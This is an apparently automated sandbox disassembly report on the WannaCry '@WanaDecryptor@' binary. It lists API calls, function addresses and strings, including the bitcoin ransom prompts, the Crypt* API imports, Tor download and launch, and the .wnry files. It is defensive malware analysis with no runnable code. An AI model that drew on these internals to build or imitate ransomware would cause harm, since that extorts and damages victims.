fclose.MSVCRT ref: 00401507

Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BE9C
Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BEAD
Part of subcall function 0040BE90: strncpy.MSVCRT ref: 0040BEBE

Part of subcall function 0040C240: SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C2B6
Part of subcall function 0040C240: SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C2E3
Part of subcall function 0040C240: SendMessageA.USER32(?,00004E21,000000FF,00000000), ref: 0040C3B7
Part of subcall function 0040C240: SendMessageA.USER32(?,00004E21,00000000,00000000), ref: 0040C3EE
Part of subcall function 0040C240: SendMessageA.USER32(?,00004E22,000000FF,00000000), ref: 0040C427
Part of subcall function 0040C240: fopen.MSVCRT ref: 0040C46B
Part of subcall function 0040C240: fwrite.MSVCRT ref: 0040C489
Part of subcall function 0040C240: fclose.MSVCRT ref: 0040C48F
Part of subcall function 0040C240: SendMessageA.USER32(?,00004E22,00000000,00000000), ref: 0040C4A9

Part of subcall function 00404640: InitializeCriticalSection.KERNEL32(?,?,0040158C), ref: 00404658

Part of subcall function 004047C0: _local_unwind2.MSVCRT ref: 004048EB
Part of subcall function 004047C0: strncmp.MSVCRT(00000000,?), ref: 00404951
Part of subcall function 004047C0: _local_unwind2.MSVCRT ref: 00404964

Part of subcall function 00404690: DeleteCriticalSection.KERNEL32(?,004015D8), ref: 0040469A

Strings

%08X.dky, xrefs: 00401333
%08X.eky, xrefs: 004014BB
%08X.res, xrefs: 0040143A
%08X.pky, xrefs: 0040131D
00000000.res, xrefs: 004013CE
s.wnry, xrefs: 0040151B

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004035A0, Relevance: 36.2, APIs: 24, Instructions: 175

APIs

SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004035DB
OpenClipboard.USER32(?), ref: 004035E9
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00403609
#3301.MFC42(?,00000000,00000000), ref: 0040361A
#924.MFC42 ref: 00403635
#800.MFC42 ref: 00403646
#800.MFC42 ref: 00403665
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040367B
GlobalAlloc.KERNEL32(00000002,-00000002), ref: 00403687
GlobalLock.KERNEL32(00000000), ref: 0040369C
GlobalFree.KERNEL32(00000000), ref: 004036AB
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004036C8
#3301.MFC42(?,00000000,00000000), ref: 004036E7
#924.MFC42(00000000), ref: 00403702
#800.MFC42(00000000), ref: 00403713
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000167,00000000), ref: 00403748
wcslen.MSVCRT ref: 00403753
wcslen.MSVCRT ref: 0040377B
#800.MFC42 ref: 00403797
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004037B1
GlobalUnlock.KERNEL32(00000000), ref: 004037CE
EmptyClipboard.USER32 ref: 004037D4
SetClipboardData.USER32(0000000D,00000000), ref: 004037DD
CloseClipboard.USER32 ref: 004037E3

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004076A0, Relevance: 35.2, APIs: 14, Strings: 6, Instructions: 239

APIs

time.MSVCRT ref: 004076DA
sprintf.MSVCRT ref: 0040780E

Part of subcall function 00405180: _mbscmp.MSVCRT ref: 00405191
Part of subcall function 00405180: #860.MFC42(?), ref: 004051A1
Part of subcall function 00405180: RedrawWindow.USER32(?,00000000,00000000,00000121), ref: 004051DE
Part of subcall function 00405180: InvalidateRect.USER32(?,00000000,00000001), ref: 004051F2

SendMessageA.USER32(?,00000402,?,00000000), ref: 0040785B
SendMessageA.USER32(?,00000402,?,00000000), ref: 00407870
#540.MFC42 ref: 00407876
_ftol.MSVCRT ref: 004078AA
#2818.MFC42(?,$%d,00000000), ref: 004078BE
#2818.MFC42(?,Send $%d worth of bitcoin to this address:,00000000), ref: 004078D1
#2818.MFC42(?,%.1f BTC,?,?), ref: 004078F5
#2818.MFC42(?,Send %.1f BTC to this address:,?,?), ref: 00407909
#3092.MFC42(00000402,?), ref: 0040791D
#6199.MFC42(00000402,?), ref: 00407924
InvalidateRect.USER32(?,00000000,00000001), ref: 0040795A
#800.MFC42 ref: 0040799F

Strings

00;00;00;00, xrefs: 004076E8
%.1f BTC, xrefs: 004078EF
Send %.1f BTC to this address:, xrefs: 00407903
%02d;%02d;%02d;%02d, xrefs: 00407808
$%d, xrefs: 004078B8
Send $%d worth of bitcoin to this address:, xrefs: 004078CB

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004060E0, Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 139

APIs

#324.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406107
#567.MFC42(00000066,00000000,?,?,?,?,?,00000000,00413E0B,000000FF,00405AAB,00000000), ref: 00406117
#567.MFC42(00000066,00000000), ref: 0040612F
#567.MFC42(00000066,00000000), ref: 00406147

Part of subcall function 004085C0: #567.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085E2
Part of subcall function 004085C0: #341.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085F6
Part of subcall function 004085C0: GetSysColor.USER32 ref: 0040861D
Part of subcall function 004085C0: GetSysColor.USER32(00000009), ref: 00408624
Part of subcall function 004085C0: GetSysColor.USER32(00000012), ref: 0040862B
Part of subcall function 004085C0: GetSysColor.USER32(00000002), ref: 00408632
Part of subcall function 004085C0: SystemParametersInfoA.USER32(00001008,00000000,00000000,00000000), ref: 0040864A
Part of subcall function 004085C0: GetSysColor.USER32(0000001B), ref: 0040865C
Part of subcall function 004085C0: #6140.MFC42(00000002,000000FF), ref: 00408667

Part of subcall function 00404090: #567.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040B0
Part of subcall function 00404090: #540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040C6
Part of subcall function 00404090: #540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040D5
Part of subcall function 00404090: #860.MFC42(00421798), ref: 004040F6
Part of subcall function 00404090: #858.MFC42(00000000,00421798), ref: 004040FE
Part of subcall function 00404090: LoadCursorA.USER32(00000000,00007F89), ref: 00404118
Part of subcall function 00404090: LoadCursorA.USER32(00000000,00007F00), ref: 00404123

Part of subcall function 00405000: #567.MFC42(?,?,?,?,00413893,000000FF), ref: 0040501E
Part of subcall function 00405000: #540.MFC42(?,?,?,?,00413893,000000FF), ref: 00405032

#567.MFC42(00000066,00000000), ref: 004061DF
#540.MFC42(00000066,00000000), ref: 004061F7
#540.MFC42(00000066,00000000), ref: 00406209
#540.MFC42(00000066,00000000), ref: 00406219
#540.MFC42(00000066,00000000), ref: 00406229
#860.MFC42(00421798,00000066,00000000), ref: 004062F7
#860.MFC42(00421798,00421798,00000066,00000000), ref: 00406303
#860.MFC42(00421798,00421798,00421798,00000066,00000000), ref: 00406313
#1168.MFC42(00421798,00421798,00421798,00000066,00000000), ref: 00406318
#1146.MFC42(00000080,0000000E,00000080,00421798,00421798,00421798,00000066,00000000), ref: 00406329
LoadIconA.USER32(00000000,00000080), ref: 0040632F
#860.MFC42(00421798), ref: 00406358

Strings

0ZA, xrefs: 004062B1
0ZA, xrefs: 004062DB
0ZA, xrefs: 004062CB
DZA, xrefs: 0040622E

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00405E10, Relevance: 31.6, APIs: 17, Strings: 1, Instructions: 144

APIs

#2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405E4F
#2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405E71
#2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405E93
#2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405EB5

Part of subcall function 00403F20: #2414.MFC42(?,?,?,004136B8,000000FF,00403F08), ref: 00403F4B

#2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405F2F
#2414.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405F93
#800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FA9
#800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FB9
#800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FC9
#800.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FD9
#781.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00405FE9

Part of subcall function 004050A0: #800.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050CE
Part of subcall function 004050A0: #795.MFC42(?,?,?,004138A8,000000FF,00405088), ref: 004050DD

Part of subcall function 00404170: #2414.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041B2
Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041C5
Part of subcall function 00404170: #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041D2
Part of subcall function 00404170: #795.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041E1

#654.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00406066
#765.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00406072

Part of subcall function 00405D90: #654.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DBE
Part of subcall function 00405D90: #765.MFC42(00415A44,?,00000000,00413A88,000000FF,00405D14), ref: 00405DCD

#609.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 00406092
#609.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 004060A2
#616.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 004060AF
#641.MFC42(?,?,?,?,?,?,?,00413C65,000000FF), ref: 004060BE

Strings

#, xrefs: 00406061

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004032C0, Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 114

APIs

#4710.MFC42 ref: 004032C5
CreateSolidBrush.GDI32(?), ref: 004032DC
#1641.MFC42(00000000), ref: 004032E9
CreateFontA.GDI32(00000010,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 00403316
#1641.MFC42(00000000), ref: 0040331F
#3092.MFC42(00000408,00000000), ref: 0040332B
SendMessageA.USER32(?,00000030,?,00000001), ref: 0040334A
#3092.MFC42(00000409), ref: 00403353
SendMessageA.USER32(?,00000030,?,00000001), ref: 0040336C
#3092.MFC42(00000002), ref: 00403372
SendMessageA.USER32(?,00000030,?,00000001), ref: 0040338B
#3092.MFC42(0000040E), ref: 00403394
SendMessageA.USER32(?,00000030,?,00000001), ref: 004033A9

Part of subcall function 00403CB0: FindFirstFileA.KERNEL32(*.res,?), ref: 00403CCA
Part of subcall function 00403CB0: sscanf.MSVCRT ref: 00403D26
Part of subcall function 00403CB0: fopen.MSVCRT ref: 00403D45
Part of subcall function 00403CB0: fread.MSVCRT ref: 00403D69
Part of subcall function 00403CB0: sprintf.MSVCRT ref: 00403D99
Part of subcall function 00403CB0: SendMessageA.USER32(?,00000143,00000000,?), ref: 00403DDB
Part of subcall function 00403CB0: #823.MFC42(00000088), ref: 00403DE4
Part of subcall function 00403CB0: SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00403E0B
Part of subcall function 00403CB0: fclose.MSVCRT ref: 00403E16
Part of subcall function 00403CB0: FindNextFileA.KERNEL32(?,00000010), ref: 00403E2C
Part of subcall function 00403CB0: FindClose.KERNEL32(?), ref: 00403E3B

SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 004033C2
#3996.MFC42(00000000,Path,00000000,000000FF,000000FF), ref: 004033D4
SendMessageA.USER32(?,0000101E,00000000,000001F4), ref: 004033EC

Strings

Arial, xrefs: 004032EE
Path, xrefs: 004033CA

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00406AE0, Relevance: 29.8, APIs: 14, Strings: 3, Instructions: 78

APIs

#540.MFC42(?,0001DAA0), ref: 00406B03
#3874.MFC42 ref: 00406B1B
#537.MFC42(msg\), ref: 00406B29
#924.MFC42(?,00000000,m_%s.wnry,msg\), ref: 00406B41
sprintf.MSVCRT ref: 00406B59
#800.MFC42(?,?,0001DAA0), ref: 00406B62
#800.MFC42 ref: 00406B73
GetFileAttributesA.KERNEL32(?), ref: 00406B7D
#537.MFC42(msg\), ref: 00406B91
#924.MFC42(?,00000000,m_%s.wnry,msg\), ref: 00406BA9
sprintf.MSVCRT ref: 00406BBB
#800.MFC42(?,?,?,?,?,0001DAA0), ref: 00406BC4
#800.MFC42 ref: 00406BD5

Part of subcall function 00406CF0: SendMessageA.USER32(?,00000445,00000000,04000000), ref: 00406D2C
Part of subcall function 00406CF0: #353.MFC42(?,00000000,?,?,?,?,?,?,?,?,?,?,0001DAA0), ref: 00406D39
Part of subcall function 00406CF0: SendMessageA.USER32 ref: 00406D69
Part of subcall function 00406CF0: #1979.MFC42 ref: 00406D6F
Part of subcall function 00406CF0: #665.MFC42 ref: 00406D87

#800.MFC42(?), ref: 00406BF5

Strings

English, xrefs: 00406BB0
m_%s.wnry, xrefs: 00406B2E, 00406B96
msg\, xrefs: 00406B20, 00406B88

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 0040B840, Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 138

APIs

sprintf.MSVCRT ref: 0040B87A
GetFileAttributesA.KERNEL32(?,?,?,?,00000000,?), ref: 0040B88D
sprintf.MSVCRT ref: 0040B924
GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0040B934
CopyFileA.KERNEL32(?,?,00000000), ref: 0040B955

Part of subcall function 0040B780: CreateDirectoryA.KERNEL32(?,00000000,?,0001D65A,00000428), ref: 0040B793
Part of subcall function 0040B780: GetTempFileNameA.KERNEL32(?,004214DC,00000000,?), ref: 0040B7D4
Part of subcall function 0040B780: DeleteUrlCacheEntry.WININET(?), ref: 0040B7DB
Part of subcall function 0040B780: URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 0040B7ED
Part of subcall function 0040B780: DeleteFileA.KERNEL32(?), ref: 0040B815
Part of subcall function 0040B780: DeleteFileA.KERNEL32(?), ref: 0040B82C

CreateProcessA.KERNEL32(00000000,?), ref: 0040B9AA
WaitForSingleObject.KERNEL32(?,00001388), ref: 0040B9CF
WaitForSingleObject.KERNEL32(?,00007530), ref: 0040B9E2
CloseHandle.KERNEL32(?), ref: 0040B9EF
CloseHandle.KERNEL32(?), ref: 0040B9F6

Part of subcall function 0040B6A0: CreateDirectoryA.KERNEL32(?,00000000,?,0001D65A,00000000,00000428), ref: 0040B6B4
Part of subcall function 0040B6A0: DeleteFileA.KERNEL32(?), ref: 0040B6D9
Part of subcall function 0040B6A0: sprintf.MSVCRT ref: 0040B74E

Strings

D, xrefs: 0040B966
Tor, xrefs: 0040B865, 0040B90C
tor.exe, xrefs: 0040B903
%s\%s\%s, xrefs: 0040B873, 0040B91D
TaskData, xrefs: 0040B86A, 0040B89F, 0040B8B7, 0040B8CF, 0040B911
taskhsvc.exe, xrefs: 0040B85C

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00402C40, Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 72

APIs

Part of subcall function 00404B70: LoadLibraryA.KERNEL32(advapi32.dll), ref: 00404B86
Part of subcall function 00404B70: GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,?,00402C46), ref: 00404BA3
Part of subcall function 00404B70: GetProcAddress.KERNEL32(00000000,CryptImportKey,?,?,00402C46), ref: 00404BB0
Part of subcall function 00404B70: GetProcAddress.KERNEL32(00000000,CryptDestroyKey,?,?,00402C46), ref: 00404BBD
Part of subcall function 00404B70: GetProcAddress.KERNEL32(00000000,CryptEncrypt,?,?,00402C46), ref: 00404BCA
Part of subcall function 00404B70: GetProcAddress.KERNEL32(00000000,CryptDecrypt,?,?,00402C46), ref: 00404BD7
Part of subcall function 00404B70: GetProcAddress.KERNEL32(00000000,CryptGenKey,?,?,00402C46), ref: 00404BE4

LoadLibraryA.KERNEL32(kernel32.dll), ref: 00402C63
GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 00402C80
GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00402C8D
GetProcAddress.KERNEL32(00000000,ReadFile), ref: 00402C9A
GetProcAddress.KERNEL32(00000000,MoveFileW), ref: 00402CA7
GetProcAddress.KERNEL32(00000000,MoveFileExW), ref: 00402CB4
GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 00402CC1
GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00402CCE

Strings

DeleteFileW, xrefs: 00402CB6
MoveFileExW, xrefs: 00402CA9
WriteFile, xrefs: 00402C82
MoveFileW, xrefs: 00402C9C
CreateFileW, xrefs: 00402C7A
ReadFile, xrefs: 00402C8F
kernel32.dll, xrefs: 00402C5E
CloseHandle, xrefs: 00402CC3

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00405580, Relevance: 27.2, APIs: 18, Instructions: 187

APIs

GetClientRect.USER32(?,?), ref: 004055A9
#470.MFC42 ref: 004055D0
#1168.MFC42 ref: 00405605
#8.COMCTL32(?,?,00000000,00FFB53F,00000003), ref: 0040561A
#323.MFC42 ref: 0040562A
CreateCompatibleDC.GDI32(?), ref: 0040564C
#1640.MFC42(00000000), ref: 00405657
#2860.MFC42(00000000,00000000), ref: 0040565D
#5785.MFC42(?,00000000,00000000,00000000), ref: 0040566F
CreateSolidBrush.GDI32(?), ref: 00405686
FillRect.USER32(?,?,00000000), ref: 0040569E
BitBlt.GDI32(?,00000000,?,?,?,?,?,?,00CC0020), ref: 0040570B
#5785.MFC42(?,?), ref: 00405782
#2405.MFC42(?,?), ref: 0040578B
DeleteObject.GDI32(?), ref: 0040579B
DeleteObject.GDI32(?), ref: 004057A2
#640.MFC42 ref: 004057B0
#755.MFC42 ref: 004057C4

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00408D70, Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 257

APIs

GetDeviceCaps.GDI32(?,00000026), ref: 00408EA3
GetDeviceCaps.GDI32(?,0000000C), ref: 00408EC2
GetDeviceCaps.GDI32(?,0000000E), ref: 00408ECE
_ftol.MSVCRT ref: 00408F60
_ftol.MSVCRT ref: 00408F7F
_ftol.MSVCRT ref: 00408FD0
_ftol.MSVCRT ref: 00408FE9
_ftol.MSVCRT ref: 00409005
CreateSolidBrush.GDI32(00000000), ref: 00409024
#1641.MFC42(00000000), ref: 0040902F
FillRect.USER32(?,00000000,DZA), ref: 0040905E
#2414.MFC42 ref: 00409068
#2754.MFC42(00000000,?,?,?,00000000), ref: 00409086
#2414.MFC42 ref: 004090CA

Strings

DZA, xrefs: 0040904E, 00409058

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00401600, Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 120

APIs

#537.MFC42(Received response), ref: 00401634
#2385.MFC42 ref: 00401653
#537.MFC42(Succeed), ref: 0040166F
#2385.MFC42(?,?,?,Succeed), ref: 00401684
#537.MFC42(Sent request), ref: 0040169F
SendMessageA.USER32(?,00000402,00000023,?), ref: 004016BA
#2385.MFC42 ref: 004016D3
#537.MFC42(Connected), ref: 004016F5

Part of subcall function 00401970: #3092.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 00401997
Part of subcall function 00401970: #6199.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 0040199E
Part of subcall function 00401970: #800.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 004019AF

SendMessageA.USER32(?,00000402,0000001E,?), ref: 00401710
#2385.MFC42 ref: 00401729
#2385.MFC42(?,?,?), ref: 0040174C

Strings

Received response, xrefs: 0040162F
Succeed, xrefs: 0040166A
Sent request, xrefs: 0040169A
Connected, xrefs: 004016F0

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00404B70, Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 62

APIs

LoadLibraryA.KERNEL32(advapi32.dll), ref: 00404B86
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,?,00402C46), ref: 00404BA3
GetProcAddress.KERNEL32(00000000,CryptImportKey,?,?,00402C46), ref: 00404BB0
GetProcAddress.KERNEL32(00000000,CryptDestroyKey,?,?,00402C46), ref: 00404BBD
GetProcAddress.KERNEL32(00000000,CryptEncrypt,?,?,00402C46), ref: 00404BCA
GetProcAddress.KERNEL32(00000000,CryptDecrypt,?,?,00402C46), ref: 00404BD7
GetProcAddress.KERNEL32(00000000,CryptGenKey,?,?,00402C46), ref: 00404BE4

Strings

CryptDestroyKey, xrefs: 00404BB2
advapi32.dll, xrefs: 00404B81
CryptImportKey, xrefs: 00404BA5
CryptGenKey, xrefs: 00404BD9
CryptDecrypt, xrefs: 00404BCC
CryptAcquireContextA, xrefs: 00404B9D
CryptEncrypt, xrefs: 00404BBF

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 0040D6A0, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 120

APIs

#9.WS2_32 ref: 0040D6C7
#23.WS2_32(00000002,00000001,00000006), ref: 0040D6E1
#2.WS2_32(00000000,?,00000010), ref: 0040D709
#10.WS2_32(00000000,8004667E,?), ref: 0040D728
#4.WS2_32(00000000,?,00000010), ref: 0040D73A
#18.WS2_32(00000001,?,?,00000000,00000001), ref: 0040D781
#151.WS2_32(00000000,?), ref: 0040D791
#151.WS2_32(00000000,?,00000000,?), ref: 0040D7A3
#10.WS2_32(00000000,8004667E,?,00000000,?), ref: 0040D7BB
#21.WS2_32(00000000), ref: 0040D7DD
#21.WS2_32(00000000,0000FFFF,00001005,?,00000004), ref: 0040D7F1
#3.WS2_32(00000000), ref: 0040D80E

Strings

`, xrefs: 0040D7D5

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00404DD0, Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 89

APIs

#4710.MFC42 ref: 00404DD5
CreateSolidBrush.GDI32(?), ref: 00404DE9
#1641.MFC42(00000000), ref: 00404DF3
CreateFontA.GDI32(00000010,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 00404E1D
#1641.MFC42(00000000), ref: 00404E26
#3092.MFC42(00000403,00000000), ref: 00404E32
SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E51
#3092.MFC42(00000001), ref: 00404E57
SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E70
#3092.MFC42(00000002), ref: 00404E76
SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E88
SendMessageA.USER32(?,00000030,?,00000001), ref: 00404E9F

Strings

Arial, xrefs: 00404DF8

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
